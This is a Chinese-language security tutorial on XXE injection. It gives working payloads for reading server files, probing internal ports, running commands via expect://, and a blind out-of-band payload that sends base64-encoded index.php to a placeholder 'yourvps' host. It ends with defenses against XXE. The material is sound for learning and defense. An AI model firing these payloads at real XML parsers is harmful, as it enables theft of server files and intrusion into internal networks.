XXE
概述
XXE
XXE 漏洞全称XML External Entity Injection,即 xml 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
DTD
文档类型定义(DTD)可定义合法的 XML 文档构建模块它使用一系列合法的元素来定义文档的结构DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用
- 内部的 DOCTYPE 声明
<!DOCTYPE 根元素 [元素声明]>
- 外部文档声明
<!DOCTYPE 根元素 SYSTEM ”文件名”> //引用本地文件
<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文件的URL"> //引用网络文件
DTD 实体
就是定义一个变量来提取冗余数据。
内部实体声明
<!ENTITY 实体名称 ”实体的值”>
外部实体声明
<!ENTITY 实体名称 SYSTEM ”URI”>
参数实体声明
<!ENTITY %实体名称 ”实体的值”>
<!ENTITY %实体名称 SYSTEM ”URI”>
不了解xml和dtd的可以看我前面两篇文章
xml概述
xml文件约束dtd
XXE利用
- 读文件
类似这样,如果有回显的话就可以利用file协议读取服务器的文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY name SYSTEM "file:///C:/windows/win.ini">
]>
<root>&name;</root>
- 内网探针或攻击内网应用(触发漏洞地址)
利用http协议来探针内网的文件和端口
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY name SYSTEM "http://loaclhost:8080/index.html">
]>
<root>&name;</root>
- RCE
由于 PHP 的 expect 并不是默认安装扩展,如果安装了这个 expect 扩展我们就能直接利用 XXE 进行 RCE 。
<!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]>
<dir>
<file>
&cmd
</file>
</dir>
- 引入外部实体 dtd
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY name SYSTEM "http://your.com/evil.dtd">
]>
<root>&name;</root>
- 无回显-读取文件
xxe.xml文件
<!ENTITY % all "<!ENTITY send SYSTEM 'http://yourvps/%file;'>">
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=index.php">
<!ENTITY % dtd SYSTEM "http://yourvps/xxe.xml">
%dtd; %all;
]>
<value>&send;</value>
通过%dtd引入xxe.xml,之后%all引入send的定义,最后引用了实体send,把%file文件内容通过一个http请求发了出去,在vps服务器的日志文件就可以看到base64加密后的内容
- 协议-读文件(绕过)
利用不同的协议去绕过防御,类似php:filter php:input等在文件包含中出现过的php伪协议都可以用上 - 有时当前请求可以接收xml数据包,但是数据包格式不是xml,可以改请求头Content-Type 为xml格式,在把xml文件放到请求体里。
XXE漏洞修复与防御方案
禁用外部实体
PHP: libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);
Python:
from lxml import etreexml Data = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
过滤用户提交的 XML 数据
过滤关键词:<!DOCTYPE 和<!ENTITY,或者 SYSTEM 和 PUBLIC
工具使用
XXEinjector的漏洞利用工具,XXEinjector是一款基于Ruby的XXE注入工具,
它可以使用多种直接或间接带外方法来检索文件。其中,目录枚举功能只对Java应用程序有效,而暴力破解攻击需要使用到其他应用程序。
详细工具使用
本文深入探讨了XXE(XML External Entity Injection)漏洞,包括其概念、利用方式如文件读取、内网探测和远程代码执行。通过示例展示了如何构造XML文档触发XXE,并列举了多种协议利用和无回显情况下的攻击手段。最后,提出了禁用外部实体和过滤用户输入等防御措施。
3016

被折叠的 条评论
为什么被折叠?



